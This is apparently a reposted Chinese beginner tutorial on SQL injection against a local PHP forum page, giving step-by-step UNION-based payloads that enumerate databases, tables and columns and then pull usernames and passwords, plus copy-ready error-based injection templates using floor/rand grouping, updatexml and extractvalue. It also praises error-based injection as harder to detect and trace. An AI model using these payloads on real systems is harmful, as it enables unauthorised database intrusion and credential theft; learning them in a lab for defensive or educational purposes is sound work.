当前位置: 首页 > news >正文

SQL注入零基础学习02

一、union注入实操

缺点:UNION 可能会被系统限制使用和数据报警,可以回溯。不太安全

操作流程:

1、判断注入点

2、使用 order by查询回显列数,进行填补自己需要信息

3、判断回显位置

4、获取数据库名字

5、获取数据库所有表(利用数据库名字)

6、获取数据库表对应所有字段

7、利用字段查询数据

1、判断是否存在注入点

http://127.0.0.1/bbs/bbs/showmessage.php?id=1

http://127.0.0.1/bbs/bbs/showmessage.php?id=2

http://127.0.0.1/bbs/bbs/showmessage.php?id=ahsdkhaskdh

以上案列发现网站存在注入点。

2、使用order by 查询回显列数

数据库查询语句:select * from message where id = 1 union order by 5

http://127.0.0.1/bbs/bbs/showmessage.php?id=1 order by 4

http://127.0.0.1/bbs/bbs/showmessage.php?id=1 order by 5

由此 可以判断 4列。
3、判断显示位置

数据库查询语句:select * from messages where id=-1 union select 1,2,3,4

备注:可以看到1,2,3,4能回显,因此在2,3,4处位置 写注入语句

其中 id= -1 是让正确语句不要干扰注入语句导致后面union后语句无法显示

网站连接:http://127.0.0.1/bbs/bbs/showmessage.php?id=-1 union select 1,2,3,4

4、获取数据库名字
第一步:获取数据库名字

数据库语句:select * from messages where id=-1 union select 1,2,3,database()

连接:http://127.0.0.1/bbs/bbs/showmessage.php?id=-1 UNION SELECT 1,2,3,DATABASE()

第二步:获取所有数据库名

数据库语句:select * from messages where id=-1 union select 1,2,version(),(select group_concat(schema_name) from information_schema.schemata)

备注:跟前面一样,组装起来用

连接:http://127.0.0.1/bbs/bbs/showmessage.php?id=-1 UNION SELECT 1,2,3,(select group_concat(schema_name) from information_schema.schemata)

5:获取数据库所有表

数据库语句:select * from messages where id=-1 union select 1,2,version(), group_concat(table_name) from information_schema.tables where table_schema='jrlt'

备注:搜索‘jrlt’所有表

连接:http://127.0.0.1/bbs/bbs/showmessage.php?id=-1 union select 1,2,version(), group_concat(table_name) from information_schema.tables where table_schema='jrlt'

6:获取数据库表对应所有字段

数据库语句:SELECT * from messages where id=-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users'and table_schema='jrlt'

备注:获取‘jrlt’里面所有字段

连接:http://127.0.0.1/bbs/bbs/showmessage.php?id=-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users'and table_schema='jrlt'

7:获取字段数据

数据库语句:select * from messages where id=-5 union select 1,2,3,concat(name,':',password) from users limit 0,1

备注:获取 name 和 password 字段信息,打印第一条。

链接:http://127.0.0.1/bbs/bbs/showmessage.php?id=-5 union select 1,2,3,concat(name,':',password) from users limit 0,1

二、采用报错型注入()

备注:利用网站报错信息得到相应数据,一般UNION限制使用时候,才使用 ‘报错型注入’。

固定格式模板:
group by:
' or (select 1 from (select count(*), concat(0x5e,(查询语句), 0x5e, floor(rand(0)*2)) x from information_schema.tables group by x) a) or '
updatexml:
' or updatexml(1, concat(0x5e, (查询语句), 0x5e), 1) or '
extractvalue:
' or extractvalue(1, concat(0x5c, (查询语句), 0x5c)) or '
常用方法一:group by 重复键冲突
--查看数据库 版本号
select * from messages where id=1 and (select 1 from (select count(*),concat(0x5e,(selectversion()from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)

备注:1:id =1 是因为后面是采用and,and 特性 是两边都必须是真。

2:红色部分都是固定格式不需要修改

3:蓝色标注位置:是想查的东西,可以修改。

version:是查版本号样式:
连接:http://127.0.0.1/bbs/bbs/showmessage.php?id=1 and (select 1 from (select count(*),concat(0x5e,(select version() from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)
--查看数据库 库名
select * from messages where id=1 and (select 1 from (select count(*),concat(0x5e,(selectDATABASE()from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)

备注:蓝色标注位置:是想查的东西,database()查数据库名字。

连接:http://127.0.0.1/bbs/bbs/showmessage.php?id=1 and (select 1 from (select count(*),concat(0x5e,(select DATABASE() from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)

常用方法二:Xpath
查看版本号:

select * from messages where id=1 and updatexml(1,concat(0x5e,(select version()),0x5e),1)

链接:http://127.0.0.1/bbs/bbs/showmessage.php?id=1 and updatexml(1,concat(0x5e,(selectversion()),0x5e),1)

查看数据库:

select * from messages where id=1 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

链接:http://127.0.0.1/bbs/bbs/showmessage.php?id=1 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

常用方法三:updatexml报错型注⼊
查看版本号:

select * from messages where id=1 and updatexml(1,concat(0x5e,(select version()),0x5e),1)

链接:http://127.0.0.1/bbs/bbs/showmessage.php?id=1 and updatexml(1,concat(0x5e,(select version()),0x5e),1)

查看数据库:

select * from messages where id=1 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

链接:http://127.0.0.1/bbs/bbs/showmessage.php?id=1 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

三、报错型注入实战(使数据库报错,不容易检测到,难以回溯)

操作流程:

1、获取数据库名

2、获取表名

3、获取字段名

4、获取数据

=========================================================================

1、获取数据库名

用法:在留言内容编辑

语法:'or (select 1 from (select count(*),concat(0x5e,(select database() from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'

备注:固定格式 ,无须调整。

2、获取表名

语法:' or extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema='jrlt'),0x5c)) or '

备注:extractvalue 是报错函数。

3、获取字段名

语法:' or updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'),0x5e),1) or '

4、获取数据

语法:' or updatexml(1,concat(0x5e,(select concat(name,':',password) from users limit 0,1),0x5e),1) or '

http://www.jsqmd.com/news/505384/

相关文章:

  • C# 开发西门子 PLC 通信程序:开启 S7 系列产品通信之旅
  • 代码随想录与Hot 100重合题目
  • 2026年3月GESP真题及题解(C++五级):找数
  • UCD90160A 简易使用手册 + 软件配置说明
  • springboot基于vue的野生动物生物保护网站f2584z30
  • 深度学习环境一键搞定:PyTorch 2.9镜像快速部署指南
  • RePKG:解锁Wallpaper Engine资源宝库的专业工具
  • Qwen3-32B大模型私有部署教程:WebUI中session隔离与用户状态管理
  • LIBERO Notebooks 实战速查手册
  • C裸机代码可信性革命(NASA/ISO 26262 ASIL-D级验证实录):从手动测试到数学证明的范式跃迁
  • Harmonyos应用实例134:平面直角坐标系寻宝
  • 终极指南:如何快速提取和转换Wallpaper Engine资源文件
  • AI一对一改简历工具横评:应届生、转行、社招怎么选
  • 好写作AI本科论文摘要与关键词精准提炼的5个技巧:从全文到精华
  • DeepSeek-R1推理模型进阶使用:解锁Llama-8B更多隐藏功能
  • Halcon实战:5分钟搞定线序颜色检测(附完整代码解析)
  • 抖音直播数据抓取终极指南:3步实现实时弹幕监控
  • 黑马点评项目实战:从零搞定Redis 5.0+与MySQL 8.0配置,避开版本不兼容的那些坑
  • 零基础搞定Clawdbot+Qwen3:32B:私有化AI助手部署实战
  • OpenClaw:为个人与企业带来的,不只是效率,更是工作流革命
  • 开源大模型轻量化落地:nanobot替代Clawdbot的99%代码精简部署教程
  • 程序员必备:5种MATLAB编辑器护眼色方案测评(含绿豆沙/夜间模式/自定义)
  • Deepin Boot Maker:3步搞定Linux启动盘制作,告别命令行恐惧症
  • 让论文插图从“凑数”到“点睛”的方法
  • 好写作AI硕士论文图表描述处理的5个技巧:从数据到叙述
  • 告别投稿焦虑!Elsevier Tracker如何用3分钟安装拯救你的科研时间
  • centos7忘记密码,通过单用户模式重置
  • Carsim2023与Simulink (Matlab2022b)联合仿真实战指南(手把手教学)
  • python--单例
  • 解锁游戏修改新境界:Wemod-Patcher如何让你免费体验专业级功能